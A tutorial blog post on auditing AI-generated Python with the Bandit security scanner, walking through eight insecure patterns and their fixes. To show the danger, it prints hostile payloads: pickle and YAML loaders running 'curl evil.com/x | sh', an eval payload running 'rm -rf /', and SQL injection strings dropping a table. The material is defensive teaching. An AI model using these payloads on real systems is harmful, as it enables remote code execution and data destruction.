Generic selectors
Exact matches only
Search in title
Search in content
Post Type Selectors
Filter by Categories
About Article
AI Tools
Analyze Data
Archive
Best Practices
Better Outputs
Blog
Code Optimization
Code Quality
Command Line
Course
Daily tips
Dashboard
Data Analysis & Manipulation
Data Engineer
Data Visualization
DataFrame
Delta Lake
DevOps
DuckDB
Environment Management
Feature Engineer
Git
Jupyter Notebook
LLM
LLM Tools
Machine Learning
Machine Learning & AI
Machine Learning Tools
Manage Data
MLOps
Natural Language Processing
Newsletter Archive
NumPy
Pandas
Polars
PySpark
Python Helpers
Python Tips
Python Utilities
Scrape Data
SQL
Testing
Time Series
Tools
Visualization
Visualization & Reporting
Workflow & Automation
Workflow Automation

ai

Auto-created tag for ai

Bandit: Audit AI-Generated Python for Security Flaws

Table of Contents

When AI Writes Insecure Python
What Is Bandit?
Setup
Catching the Top 8 AI Antipatterns
1. Hardcoded Secrets
2. eval and exec on Untrusted Input
3. pickle.load on Untrusted Data
4. MD5 and SHA1 for Security
5. SQL String Concatenation
6. Suppressed Exceptions
7. yaml.load on Untrusted Data
8. Unpinned Hugging Face Downloads

Scanning Whole Projects
Configuring Bandit
Automating Bandit Locally and in CI
Alternative: Ruff S-Rules
Bandit vs. AI Code Review
Final Thoughts

When AI Writes Insecure Python
GitHub Copilot, Cursor, and Claude Code now generate a large share of production Python. The output usually looks polished enough that pull requests get approved without anyone reviewing every line closely.
The problem is that secure-looking code is not necessarily secure code. Veracode’s Spring 2026 GenAI Code Security Report tested 150 LLMs on 80 real-world programming tasks and found that 45% of generated code introduced an OWASP Top 10 vulnerability (a standard list of critical web security risks).
Python had the best results overall, but its generated code still failed security validation around 38% of the time.

Source: Veracode Spring 2026 GenAI Code Security Update.

More capable models have not solved this problem. Veracode reports that while syntactic correctness has climbed above 95%, security pass rates have stayed nearly flat at around 55% since 2024.

Source: Veracode Spring 2026 GenAI Code Security Update.

There are two main reasons for this:

LLMs are trained on public Python that contains plenty of insecure patterns and reproduce those patterns when prompted.
Reviewers focus primarily on behavior and correctness, not on recognizing vulnerability patterns.

Consider this AI-generated function for fetching a user’s orders:
def get_orders(conn, user_id):
query = f"SELECT * FROM orders WHERE user_id = '{user_id}'"
return conn.execute(query).fetchall()

get_orders(conn, "42")
# [(101, "42", "shipped"), (102, "42", "pending")]

The function handles normal input, but a malicious value like user_id = "1' OR '1'='1" turns the query into a request for every order. That is SQL injection (CWE-89): user input changes the meaning of the SQL statement.
Bandit is exactly that kind of static analyzer. The rest of this article walks through:

Running Bandit on AI-generated code samples
Catching the eight antipatterns LLMs over-produce
Configuring suppression for legitimate exceptions
Automating with pre-commit and GitHub Actions
Running Bandit’s checks through Ruff’s S-rules
Comparing Bandit with AI code review tools

Stay Current with CodeCut
Easy-to-digest articles on Python, AI, and open-source tools. Delivered twice a week.

.codecut-subscribe-form {
max-width: 650px;
display: flex;
flex-direction: column;
gap: 8px;
}

.codecut-input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #FFFFFF;
border-radius: 8px !important;
padding: 8px 12px;
font-family: ‘Comfortaa’, sans-serif !important;
font-size: 14px !important;
color: #333333;
border: none !important;
outline: none;
width: 100%;
box-sizing: border-box;
}

input[type=”email”].codecut-input {
border-radius: 8px !important;
}

.codecut-input::placeholder {
color: #666666;
}

.codecut-email-row {
display: flex;
align-items: stretch;
height: 36px;
gap: 8px;
}

.codecut-email-row .codecut-input {
flex: 1;
}

.codecut-subscribe-btn {
background: #72BEFA;
color: #2F2D2E;
border: none;
border-radius: 8px;
padding: 8px 14px;
font-family: ‘Comfortaa’, sans-serif;
font-size: 14px;
font-weight: 500;
cursor: pointer;
text-decoration: none;
display: flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}

.codecut-subscribe-btn:hover {
background: #5aa8e8;
}

.codecut-subscribe-btn:disabled {
background: #999;
cursor: not-allowed;
}

.codecut-message {
font-family: ‘Comfortaa’, sans-serif;
font-size: 12px;
padding: 8px;
border-radius: 6px;
display: none;
}

.codecut-message.success {
background: #d4edda;
color: #155724;
display: block;
}

/* WordPress dark-theme overrides */
.codecut-subscribe-form .codecut-input {
background: #2F2D2E !important;
border: 1px solid #72BEFA !important;
color: #FFFFFF !important;
}

.codecut-subscribe-form .codecut-input::placeholder {
color: #999999 !important;
}

.codecut-subscribe-form .codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
}

.codecut-subscribe-form .codecut-subscribe-btn:hover {
background: #5aa8e8 !important;
}

/* Mobile responsive */
@media (max-width: 480px) {
.codecut-email-row {
flex-direction: column;
height: auto;
gap: 8px;
}

.codecut-input {
border-radius: 8px;
height: 36px;
}

.codecut-subscribe-btn {
width: 100%;
text-align: center;
border-radius: 8px;
height: 36px;
}
}

Subscribe

What Is Bandit?
Bandit is a static security analyzer for Python, built by the same team behind pylint and flake8.
Bandit matches code patterns against a catalog of 60+ rules drawn from the Common Weakness Enumeration (CWE), the industry’s standard list of software security flaws. Each match reports the rule, severity, CWE category, and a docs link.
What Bandit does:

Flags known insecure Python patterns: eval, pickle.loads, weak hashes, hardcoded secrets, SQL string concatenation.
Reads how your Python is written (function calls, arguments, imports), without running it.

What Bandit does not do:

Catch wrong types (mypy and pyright handle that).
Catch missing permission checks (who is allowed to do what) or business-rule errors (such as a withdrawal that exceeds the account balance).
Replace human review or AI review tools like CodeRabbit.

Setup
Install Bandit with the optional toml extra so it can read configuration from pyproject.toml:
pip install "bandit[toml]"

This article uses bandit v1.9.4.
Or with uv:
uv add "bandit[toml]"

To follow along, create a folder for the AI-generated samples used in the next section:
mkdir -p bandit_examples

Catching the Top 8 AI Antipatterns
This section covers eight security antipatterns that often appear in AI-generated Python. Each example starts with a small AI-written snippet, saved under bandit_examples/, then scanned with Bandit.
1. Hardcoded Secrets
Prompt: “Write a Python function to charge a card via the Stripe API.”
# bandit_examples/api_client.py
import requests

API_SECRET = "sk_test_4eC39HqLyjWDarjtT1zdp7dc"

def create_charge(amount: int, currency: str = "usd"):
return requests.post(
"https://api.stripe.com/v1/charges",
auth=(API_SECRET, ""),
data={"amount": amount, "currency": currency},
timeout=10,
)

Run Bandit:
bandit bandit_examples/api_client.py

>> Issue: [B105:hardcoded_password_string] Possible hardcoded password: 'sk_test_4eC39HqLyjWDarjtT1zdp7dc'
Severity: Low Confidence: Medium
CWE: CWE-259 (https://cwe.mitre.org/data/definitions/259.html)
Location: bandit_examples/api_client.py:3:13
2
3 API_SECRET = "sk_test_4eC39HqLyjWDarjtT1zdp7dc"
4

Why Bandit Flags This
Bandit caught API_SECRET not by recognizing a real Stripe key, but by reading the variable name. The B105 check looks for substrings like password, secret, token, and pwd in identifiers. Whatever string you assign, the rule fires as long as the name contains one of those substrings.
Bandit scans the name for any of these substrings:

┌──────────┬────────┬───────┬─────┐
│ password │ secret │ token │ pwd │
└──────────┴────────┴───────┴─────┘

API_SECRET contains "secret" → fires
AUTH_TOKEN contains "token" → fires
LOGIN_PWD contains "pwd" → fires
API_KEY no match → silent
DATABASE_URL no match → silent

B105 isn’t foolproof, but it’s fast and catches the bulk of accidental hardcoded secrets in everyday Python code. For names it doesn’t recognize (like API_KEY or DATABASE_URL), add gitleaks as a second hook in the pre-commit config alongside Bandit:
– repo: https://github.com/gitleaks/gitleaks
rev: v8.21.0
hooks:
– id: gitleaks

gitleaks inspects the string itself for random-looking values or known credential formats (Stripe’s sk_live_…, AWS keys, GitHub tokens). Each commit then gets scanned by both.
What an Attacker Can Do
Even in a private repo, the secret is exposed to anyone with read access, and it persists in git history forever. A single compromised laptop, a leaked CI log, or a stack trace in an error report puts the key in attacker hands. Once leaked, the attacker can authenticate as your service:
import requests

requests.post(
"https://api.stripe.com/v1/charges",
auth=("sk_test_4eC39HqLyjWDarjtT1zdp7dc", ""),
data={"amount": 999900, "currency": "usd"},
)

The Fix
Store the secret in a .env file (added to .gitignore) and load it with python-dotenv:
# .env (not committed)
STRIPE_API_SECRET=sk_test_4eC39HqLyjWDarjtT1zdp7dc

import os
import requests
from dotenv import load_dotenv

load_dotenv()
API_SECRET = os.environ["STRIPE_API_SECRET"]

def create_charge(amount: int, currency: str = "usd"):
return requests.post(
"https://api.stripe.com/v1/charges",
auth=(API_SECRET, ""),
data={"amount": amount, "currency": currency},
timeout=10,
)

load_dotenv() reads the .env file into os.environ, so the rest of your code uses os.environ as usual. Bandit stays silent because the assignment is os.environ["…"], not a string literal.
2. eval and exec on Untrusted Input
Prompt: “Build a small formula calculator: pass in a math expression as a string and a numeric value for x, return the result.”
# bandit_examples/eval_demo.py
def calculate_metric(formula: str, value: float) -> float:
return eval(formula.replace("x", str(value)))

bandit bandit_examples/eval_demo.py

>> Issue: [B307:blacklist] Use of possibly insecure function – consider using safer ast.literal_eval.
Severity: Medium Confidence: High
CWE: CWE-78 (https://cwe.mitre.org/data/definitions/78.html)
Location: bandit_examples/eval_demo.py:2:11
1 def calculate_metric(formula: str, value: float) -> float:
2 return eval(formula.replace("x", str(value)))

Why Bandit Flags This
B307 fires on any call to eval(), regardless of what’s passed in.
What an Attacker Can Do
If formula ever comes from outside your script, an attacker can pass:
calculate_metric("__import__('os').system('rm -rf /')", value=1)

eval() executes this as Python code, importing os and running a shell command that recursively deletes everything in the current working directory.
The Fix
Two safer alternatives, depending on the input:

ast.literal_eval for literal data (numbers, strings, lists, dicts)
numexpr for math expressions

Here’s how to use numexpr to parse math expressions:
import numexpr

def calculate_metric(formula: str, value: float) -> float:
return float(numexpr.evaluate(formula, local_dict={"x": value}))

# The malicious payload from before is rejected:
calculate_metric("__import__('os').system('rm -rf /')", value=1)
# ValueError: Expression __import__('os').system('rm -rf /')
# has forbidden control characters.

# Normal math still works:
calculate_metric("2*x + 3", value=5)
# 13.0

numexpr parses math expressions, not Python code, so the malicious payload from earlier raises a ValueError instead of running.
For literal data instead of math, use ast.literal_eval:
import ast

def parse_config_value(value: str):
return ast.literal_eval(value)

# The malicious payload is rejected:
parse_config_value("__import__('os').system('rm -rf /')")
# ValueError: malformed node or string on line 1: <ast.Call object>

# Literal data is parsed as expected:
parse_config_value("[1, 2, 3]") # [1, 2, 3]
parse_config_value("{'mode': 'fast'}") # {'mode': 'fast'}

ast.literal_eval only accepts Python literals (numbers, strings, lists, dicts, tuples, booleans, None); anything else raises ValueError.
3. pickle.load on Untrusted Data
Prompt: “Write a function that downloads a model artifact from a URL and loads it for inference.”
# bandit_examples/pickle_demo.py
import pickle
import requests

def load_model_from_url(url: str):
response = requests.get(url, timeout=10)
return pickle.loads(response.content)

bandit bandit_examples/pickle_demo.py

>> Issue: [B403:blacklist] Consider possible security implications associated with pickle module.
Severity: Low Confidence: High
CWE: CWE-502
Location: bandit_examples/pickle_demo.py:1:0

>> Issue: [B301:blacklist] Pickle and modules that wrap it can be unsafe when used to deserialize untrusted data, possible security issue.
Severity: Medium Confidence: High
CWE: CWE-502
Location: bandit_examples/pickle_demo.py:6:11
5 response = requests.get(url, timeout=10)
6 return pickle.loads(response.content)

Why Bandit Flags This
Bandit fires two rules here:

B301 triggers on the pickle.loads() call itself.
B403 flags import pickle, signaling pickle is used somewhere in the file.

What an Attacker Can Do
Pickle is a serialization format that records Python operations and runs them on load. Loading attacker-controlled pickle bytes is the same as running attacker-controlled Python code:
# Attacker prepares the payload:
import pickle, os

class Exploit:
def __reduce__(self):
return (os.system, ("curl evil.com/x | sh",))

# pickle.dumps(Exploit()) is hosted at https://evil.com/model.pkl

# Your function fetches and loads it:
load_model_from_url("https://evil.com/model.pkl")
# pickle.loads() reconstructs Exploit, which runs os.system(…)
# before load_model_from_url even returns.

The Fix
Choose a format that does not execute code on load. Common alternatives by data type:

Tensors: safetensors
Full ML models: ONNX
Tabular data: Parquet, Apache Arrow
Plain Python data (dicts, lists, primitives): JSON, MessagePack
Configs: TOML, YAML (with yaml.safe_load)

For the model loader from earlier, swap pickle for safetensors:
import requests
from safetensors.torch import load

def load_model_from_url(url: str):
response = requests.get(url, timeout=10)
return load(response.content)

If you must use pickle, only load files you produced yourself. See the Python pickle module docs for the official security warning.
4. MD5 and SHA1 for Security
Prompt: “Write a function that hashes email addresses so two datasets can be joined without sharing the raw emails.”
# bandit_examples/md5_demo.py
import hashlib

def hash_pii(email: str) -> str:
return hashlib.md5(email.encode()).hexdigest()

In this code:

hashlib.md5(email.encode()) runs the email through the MD5 algorithm to produce a 16-byte hash: a fixed-length value that is the same for any given input and effectively impossible to reverse back to the original.
.hexdigest() returns the hash as a 32-character string of hex digits (e.g., '8d777f385d3dfec8815d20f7496026dc'), which is easy to store in a database or print.

bandit bandit_examples/md5_demo.py

>> Issue: [B324:hashlib] Use of weak MD5 hash for security. Consider usedforsecurity=False
Severity: High Confidence: High
CWE: CWE-327 (https://cwe.mitre.org/data/definitions/327.html)
Location: bandit_examples/md5_demo.py:4:11
3 def hash_pii(email: str) -> str:
4 return hashlib.md5(email.encode()).hexdigest()

Why Bandit Flags This
B324 fires on any call to hashlib.md5() or hashlib.sha1() that does not pass usedforsecurity=False.
What an Attacker Can Do
MD5 hashes of email addresses are not anonymous. The hash column has to appear in the joined dataset (it is the join key), and MD5 always produces the same output for the same input. Anyone who reads the dataset can hash a list of plausible emails themselves and match each result against your hashes:
Step 1: Attacker hashes a list of plausible emails

alice@example.com ──┐
bob@example.com ──┼─► MD5 ─► '8d77…' : 'alice@…'
carol@example.com ──┘ 'ce4d…' : 'bob@…'
'7a91…' : 'carol@…'

Step 2: Attacker reads your dataset and looks up each hash

Your dataset's hash column Attacker's lookup
───────────────────── ────────────────────────
8d77… ──► found: alice@example.com
ce4d… ──► found: bob@example.com

The Fix
Here are safer alternatives, depending on the use case:

hmac with SHA-256 and a secret salt (extra data you mix into every hash that only you know) for hashing PII before sharing a dataset.
argon2-cffi or bcrypt for password hashing specifically.

For the dataset-join example, use HMAC-SHA256 with a salt nobody else knows:
import hmac
import hashlib
import os

SALT = os.environ["EMAIL_HASH_SALT"].encode()

def hash_pii(email: str) -> str:
return hmac.new(SALT, email.encode(), hashlib.sha256).hexdigest()

Without the salt, an attacker cannot reproduce your hashes from a list of candidate emails. Keep it secret and rotate it if it leaks.
5. SQL String Concatenation
Prompt: “Write a function that returns all orders for a given user_id from a SQLite database.”
# bandit_examples/sql_demo.py
import sqlite3

def get_user_orders(conn: sqlite3.Connection, user_id: str):
cursor = conn.cursor()
query = "SELECT * FROM orders WHERE user_id = '" + user_id + "'"
return cursor.execute(query).fetchall()

bandit bandit_examples/sql_demo.py

>> Issue: [B608:hardcoded_sql_expressions] Possible SQL injection vector through string-based query construction.
Severity: Medium Confidence: Low
CWE: CWE-89 (https://cwe.mitre.org/data/definitions/89.html)
Location: bandit_examples/sql_demo.py:5:12
4 cursor = conn.cursor()
5 query = "SELECT * FROM orders WHERE user_id = '" + user_id + "'"
6 return cursor.execute(query).fetchall()

Why Bandit Flags This
B608 fires on any SQL query built by string concatenation, f-strings, or % formatting.
What an Attacker Can Do
The query string and user_id flow into a single SQL statement, so anything an attacker puts in user_id becomes part of the query. For example:
get_user_orders(conn, "1' OR '1'='1")
# Resulting query:
# SELECT * FROM orders WHERE user_id = '1' OR '1'='1'
# Returns every row in the table.

get_user_orders(conn, "1'; DROP TABLE orders; –")
# Resulting query:
# SELECT * FROM orders WHERE user_id = '1'; DROP TABLE orders; –'
# The orders table is deleted.

Each payload breaks out of the SQL string with a closing ', then injects extra syntax:

1' OR '1'='1: closes the string and appends OR '1'='1', which is always true. The WHERE clause matches every row, leaking every customer’s order history.
1'; DROP TABLE orders; –: closes the string, then runs a separate DROP TABLE statement. The orders table is deleted before the function returns.

The Fix
Use a parameterized query (where the SQL and the user input are passed separately) so the database driver, not Python, handles escaping:
def get_user_orders(conn: sqlite3.Connection, user_id: str):
cursor = conn.cursor()
return cursor.execute(
"SELECT * FROM orders WHERE user_id = ?", (user_id,)
).fetchall()

# Normal call works as expected:
get_user_orders(conn, "42")
# [(101, "42", "shipped"), (102, "42", "pending")]

# The malicious payload is treated as data, not SQL:
get_user_orders(conn, "1' OR '1'='1")
# [] — the database searches for a literal user_id of
# "1' OR '1'='1", which no row has.

Two things happen when this code runs:

The first call returns user 42’s orders as expected.
The second call returns nothing because the database treats 1' OR '1'='1 as a literal user ID to look up, not as SQL.

6. Suppressed Exceptions
Prompt: “Write a function that fetches a metric from an API endpoint.”
# bandit_examples/swallow_demo.py
import logging
import requests

def fetch_metric(url: str) -> float | None:
try:
return requests.get(url, timeout=10).json()["value"]
except requests.exceptions.HTTPError as e:
logging.error(f"HTTP error {e.response.status_code} for {url}")
raise
except Exception:
pass

bandit bandit_examples/swallow_demo.py

>> Issue: [B110:try_except_pass] Try, Except, Pass detected.
Severity: Low Confidence: High
CWE: CWE-703 (https://cwe.mitre.org/data/definitions/703.html)
Location: bandit_examples/swallow_demo.py:10:4
9 raise
10 except Exception:
11 pass

Why Bandit Flags This
B110 fires on any try/except block that ends with a bare pass.
What an Attacker Can Do
The try/except block with a pass turns every failure into None regardless of the cause. That makes failures easy to miss and easy to exploit.
# Real network failure:
fetch_metric("https://api.broken.example.com/cpu")
# None (no log)

# Attacker probing with a malicious payload:
fetch_metric("https://api.example.com/cpu?inject='; DROP TABLE metrics; –")
# None (no log)

# Both produce identical output and leave no trace.

The Fix
Log the exception and return None explicitly so the failure is visible:
import logging
import requests

def fetch_metric(url: str) -> float | None:
try:
return requests.get(url, timeout=10).json()["value"]
except requests.exceptions.HTTPError as e:
logging.error(f"HTTP error {e.response.status_code} for {url}")
raise
except Exception:
logging.exception(f"fetch_metric failed for {url}")
return None

Now an attacker probing with a malformed payload still gets None, but the failure leaves a trail:
fetch_metric("https://api.example.com/cpu?inject='; DROP TABLE metrics; –")

Output:
ERROR:root:fetch_metric failed for https://api.example.com/cpu?inject=…
Traceback (most recent call last):
File "…", line 5, in fetch_metric
return requests.get(url, timeout=10).json()["value"]
KeyError: 'value'
None

A genuine outage (here, a host that does not resolve) is logged the same way, leaving a traceback for debugging:
fetch_metric("https://api.broken.example.invalid/cpu")

Output:
ERROR:root:fetch_metric failed for https://api.broken.example.invalid/cpu
Traceback (most recent call last):

socket.gaierror: [Errno 8] nodename nor servname provided, or not known

requests.exceptions.ConnectionError: HTTPSConnectionPool(host='api.broken.example.invalid', port=443):
Max retries exceeded with url: /cpu
None

📖 If you want a friendlier API than the standard logging module, see Loguru.

7. yaml.load on Untrusted Data
Prompt: “Write a function that loads a YAML config file and returns it as a dict.”
# bandit_examples/yaml_demo.py
import yaml

def load_config(path: str) -> dict:
with open(path) as f:
return yaml.load(f)

bandit bandit_examples/yaml_demo.py

>> Issue: [B506:yaml_load] Use of unsafe yaml load. Allows instantiation of arbitrary objects. Consider yaml.safe_load().
Severity: Medium Confidence: High
CWE: CWE-20 (https://cwe.mitre.org/data/definitions/20.html)
Location: bandit_examples/yaml_demo.py:5:15
4 with open(path) as f:
5 return yaml.load(f)

Why Bandit Flags This
B506 fires on any call to yaml.load() that does not pass a safe loader.
What an Attacker Can Do
yaml.load behaves more like pickle.loads than a plain parser. It can instantiate classes and call functions defined in the YAML, so a hostile file runs code on load:
# malicious.yaml
!!python/object/apply:os.system ["curl evil.com/x | sh"]

Parsing the file runs curl evil.com/x | sh: a one-line remote shell that downloads and executes whatever script the attacker hosts, all before load_config returns.
The Fix
Use yaml.safe_load, which only parses standard YAML types (mappings, sequences, strings, numbers, booleans, null):
import yaml

def load_config(path: str) -> dict:
with open(path) as f:
return yaml.safe_load(f)

Now loading the malicious YAML from earlier raises an error instead of executing code:
load_config("malicious.yaml")
# yaml.constructor.ConstructorError: could not determine a constructor
# for the tag 'tag:yaml.org,2002:python/object/apply:os.system'

safe_load only parses standard YAML types (mappings, sequences, strings, numbers, booleans, null), so the !!python/object/apply:… directive is rejected.
8. Unpinned Hugging Face Downloads
Prompt: “Write a function that loads a sentiment classifier from Hugging Face.”
# bandit_examples/hf_demo.py
from transformers import AutoModel

def load_sentiment_model():
return AutoModel.from_pretrained("distilbert-base-uncased")

bandit bandit_examples/hf_demo.py

>> Issue: [B615:huggingface_unsafe_download] Unsafe Hugging Face Hub download without revision pinning in from_pretrained()
Severity: Medium Confidence: High
CWE: CWE-494 (https://cwe.mitre.org/data/definitions/494.html)
Location: bandit_examples/hf_demo.py:4:11
3 def load_sentiment_model():
4 return AutoModel.from_pretrained("distilbert-base-uncased")

Why Bandit Flags This
B615 fires on any Hugging Face download (from_pretrained, load_dataset, hf_hub_download, snapshot_download) that does not pin a commit SHA.
What an Attacker Can Do
Anyone with push access to the model repo can rewrite main (or any tag) to point at different model files. The next time your code runs, it silently pulls the new version, which can include attacker-controlled code via unsafe pickle.
Your code (unchanged):
load_sentiment_model()

Behind the scenes:
Day 1: Hub "main" → a7e1bc… (legitimate)
your code → a7e1bc… ✓ safe
Day 30: attacker rewrites "main"
Day 31: Hub "main" → 9f0d24… (backdoored)
your code → 9f0d24… ✗ pickle runs their payload

The Fix
Pin revision= to a specific commit SHA instead of relying on main. Branches and tags can be rewritten, but a SHA always points to exactly the same files:
from transformers import AutoModel

def load_sentiment_model():
return AutoModel.from_pretrained(
"distilbert-base-uncased",
revision="6cdc0aad91f5ae2e6712e91bc7b65d1cf5c05411",
)

Now the same attacker rewrite has no effect on your deploy:
Your code (pinned):
load_sentiment_model() # revision="6cdc0a…"

Behind the scenes:
Day 1: Hub "main" → 6cdc0a… (legitimate)
your code → 6cdc0a… ✓ same files
Day 30: attacker rewrites "main"
Day 31: Hub "main" → 9f0d24… (backdoored)
your code → 6cdc0a… ✓ unchanged

Scanning Whole Projects
Single-file scans are useful while learning. On a real project, it is more common to scan a directory recursively:
# Scan a directory recursively
bandit -r src/

Besides showing all the security issues in the project, you will also get a summary of the run:
Code scanned:
Total lines of code: 31
Total lines skipped (#nosec): 0

Run metrics:
Total issues (by severity):
Undefined: 0
Low: 2
Medium: 3
High: 2
Total issues (by confidence):
Undefined: 0
Low: 1
Medium: 1
High: 5
Files skipped (0):

To control the severity of the findings, you can use the -l flag:
# Show only Medium and High severity findings
bandit -r src/ -ll

The -l flag controls severity reporting: -l shows Low and above, -ll shows Medium and above, -lll shows High only.
Configuring Bandit
Once Bandit is running on a real project, you will want to tune it. Some findings are noise (asserts in test files, intentional MD5 for non-security hashing), and some directories should be excluded entirely.
Skipping Rules in Specific Files
For example, a typical test file might get flagged as follows:
# tests/test_orders.py
def test_get_orders():
orders = get_orders(conn, "42")
assert len(orders) > 0 # ← B101 fires here

B101 fires because Python’s -O flag strips out every assert statement. In production code, that turns checks like assert user.is_admin into nothing: the line disappears at runtime and the function continues without it.
Tests are different. Pytest never runs with -O, so an assert in a test file is harmless, and the same finding is just noise.
The simplest fix is to turn B101 off entirely:
# pyproject.toml
[tool.bandit]
skips = ["B101"]

However, this also disables the protection in production code. For finer control, drop the top-level skips and use the per-rule plugin config to skip only test files:
# pyproject.toml
[tool.bandit.assert_used]
skips = ["**/test_*.py", "**/*_test.py"]

Now an assert in tests/test_orders.py is silent, but assert user.is_admin in non-test code still fires.
project/
├── src/
│ └── auth.py
│ assert user.is_admin → B101 fires ⚠
└── tests/
└── test_orders.py
assert len(orders) > 0 → skipped ✓

Excluding Directories
If you also want to skip whole directories (virtualenvs, build outputs), add them to exclude_dirs:
# pyproject.toml
[tool.bandit]
exclude_dirs = ["venv", ".venv", "build"]

[tool.bandit.assert_used]
skips = ["**/test_*.py", "**/*_test.py"]

Run Bandit with the config:
bandit -r src/ -c pyproject.toml

Suppressing One-Off Findings with # nosec
For findings that need a one-off exception, use an inline # nosec comment (short for “no security”) with the rule ID and a justification:

Rule ID (required): the specific rule code (e.g., B101).
Justification (optional): a short reason for the suppression, for human reviewers.

Let’s apply this to the previous example:
# bandit_examples/nosec_demo.py
API_SECRET = "sk_test_4eC39HqLyjWDarjtT1zdp7dc" # nosec B105 – dummy value for demo, not a real key

bandit bandit_examples/nosec_demo.py

Test results:
No issues identified.

Code scanned:
Total lines of code: 1
Total lines skipped (#nosec): 0
Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 1

Bandit reports “No issues identified” and increments the “specifically being disabled” counter to 1, confirming the targeted suppression worked.
Automating Bandit Locally and in CI
Running Bandit manually only works if you remember to do it. The two reliable automation points are a pre-commit hook on each developer’s machine and a CI job on every push.
Pre-Commit
The pre-commit framework lets you wire Bandit into a Git hook so it runs automatically every time anyone on the team stages changes.
Add a .pre-commit-config.yaml to the project root:
# .pre-commit-config.yaml
repos:
– repo: https://github.com/PyCQA/bandit
rev: 1.9.4
hooks:
– id: bandit
args: ["-c", "pyproject.toml", "-ll"]
additional_dependencies: ["bandit[toml]"]

Install the hook once:
pip install pre-commit
pre-commit install

From this point on, every git commit runs Bandit against the staged files. If your AI assistant generates one of the antipatterns from earlier, the commit is blocked until you fix it.
The hook treats AI-generated code the same as anything else: clean code passes, flagged code is rejected before it can land in history.
%%{init: {“theme”: “dark”}}%%
flowchart TD
A[AI assistantgenerates code] –> B[git add]
B –> C[git commit]
C –> D[pre-commit hook]
D –> E{Bandit scan}
E — B105, B307, B324, … –> F[❌ commit aborted]
E — clean –> G[✅ commit lands on branch]
To catch any existing findings before the next commit, run the hook against the whole repo:
pre-commit run bandit –all-files

GitHub Actions
Pre-commit hooks live on each developer’s machine, so a teammate might forget to run pre-commit install and ship findings anyway. To ensure that all code is scanned, add a GitHub Actions job that runs Bandit on every push and pull request:
# .github/workflows/security.yml
name: Security Scan
on: [push, pull_request]

jobs:
bandit:
runs-on: ubuntu-latest
steps:
– uses: actions/checkout@v4
– uses: actions/setup-python@v5
with:
python-version: "3.12"
– run: pip install "bandit[toml]"
– run: bandit -r src/ -c pyproject.toml -ll

This workflow runs the following steps:

Check out the code.
Install Python and Bandit.
Run Bandit recursively on src/ using your pyproject.toml config.

For a richer report in pull requests, output JSON and upload it as a build artifact. Anyone with access to the run can download the file, search it programmatically, or post-process it to build dashboards and trend reports:
– run: bandit -r src/ -c pyproject.toml -ll -f json -o bandit-report.json
continue-on-error: false
– uses: actions/upload-artifact@v4
if: always()
with:
name: bandit-report
path: bandit-report.json

Together with the pre-commit hook, this gives two layers of defense: the hook catches issues at commit time on developer machines, and CI catches anything that slipped past.

📖 To test the workflow locally before pushing, see How to Test GitHub Actions Locally with act.

Alternative: Ruff S-Rules
Ruff is a fast Python linter and formatter written in Rust. It has ported most of flake8-bandit (which itself wraps Bandit) under its S rule prefix, so if you already run Ruff for linting, you can enable the security checks with two lines in pyproject.toml:
[tool.ruff.lint]
select = ["S"]

Ruff S-rules cover seven of the eight antipatterns from the previous section (every one except B615, the Hugging Face check, which has no Ruff equivalent). They run 10 to 100 times faster than Bandit because Ruff is written in Rust and shares its AST traversal with the rest of the linting pass.
Run it:
ruff check –select S src/

S105 Possible hardcoded password assigned to: "API_SECRET"
–> bandit_examples/api_client.py:3:14

S307 Use of possibly insecure function; consider using `ast.literal_eval`
–> bandit_examples/eval_demo.py:2:12

S324 Probable use of insecure hash functions in `hashlib`: `md5`
–> bandit_examples/md5_demo.py:4:12

The rule IDs map directly: S105 is B105, S307 is B307, S324 is B324, and so on.
Keep in mind that Ruff has not ported every Bandit check. As of Bandit 1.9.4, six rules have no Ruff equivalent and target frameworks that data scientists actually use:

Bandit rule
Catches

B610
Django ORM extra() SQL injection

B611
Django ORM RawSQL injection

B612
Insecure deserialization in logging.config.listen()

B613
TarFile.extractall path traversal

B614
PyTorch unsafe torch.load

B615
Hugging Face unsafe from_pretrained download

If your project uses Django, SQLAlchemy with raw SQL, PyTorch, or Hugging Face, Bandit is still the better choice. For pure-Python projects without those frameworks, Ruff S-rules are sufficient and faster.

📖 If you have not set up Ruff yet, How to Structure a Data Science Project for Maintainability walks through wiring Ruff and mypy into a pre-commit hook.

Bandit vs. AI Code Review
Bandit and AI code review tools like CodeRabbit solve different parts of the review problem:

Bandit: applies a fixed set of deterministic rules for known Python risks such as eval, pickle.loads, weak hashes, hardcoded secrets, and SQL string concatenation. It is predictable, but limited to patterns it knows.
CodeRabbit: uses an LLM to review diffs for logic, design, and style issues. It can catch broader problems, but its output can vary across runs, so a clean review should not be treated as proof that the code is secure.

Bandit on the same file, three days in a row:

Day 1: bandit src/api.py → B105 at api.py:3
Day 2: bandit src/api.py → B105 at api.py:3
Day 3: bandit src/api.py → B105 at api.py:3

CodeRabbit on the same diff, three days in a row:

Day 1: review the diff → flags hardcoded key, suggests env var
Day 2: review the diff → flags hardcoded key, mentions vault
Day 3: review the diff → silent on the key, mentions docstring

I suggest running Bandit in your pre-commit hook and CI for deterministic security catches, then adding CodeRabbit (or a similar AI reviewer) as a GitHub App to comment on every PR with broader feedback.
Final Thoughts
Don’t expect AI assistants to write secure code by default. They learn from public repositories full of insecure patterns, and Veracode’s data shows their security pass rate has barely moved in two years.
Instead, treat AI-generated code like any other untrusted contribution: scan it, review it, ship what is safe, and reject what is not. Bandit covers the scan step for free, and pairs cleanly with pre-commit, CI, and AI code review on top.
Related Tutorials

Hydra for Python Configuration: build modular and maintainable config files.

Stay Current with CodeCut
Easy-to-digest articles on Python, AI, and open-source tools. Delivered twice a week.

.codecut-subscribe-form {
max-width: 650px;
display: flex;
flex-direction: column;
gap: 8px;
}

.codecut-input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #FFFFFF;
border-radius: 8px !important;
padding: 8px 12px;
font-family: ‘Comfortaa’, sans-serif !important;
font-size: 14px !important;
color: #333333;
border: none !important;
outline: none;
width: 100%;
box-sizing: border-box;
}

input[type=”email”].codecut-input {
border-radius: 8px !important;
}

.codecut-input::placeholder {
color: #666666;
}

.codecut-email-row {
display: flex;
align-items: stretch;
height: 36px;
gap: 8px;
}

.codecut-email-row .codecut-input {
flex: 1;
}

.codecut-subscribe-btn {
background: #72BEFA;
color: #2F2D2E;
border: none;
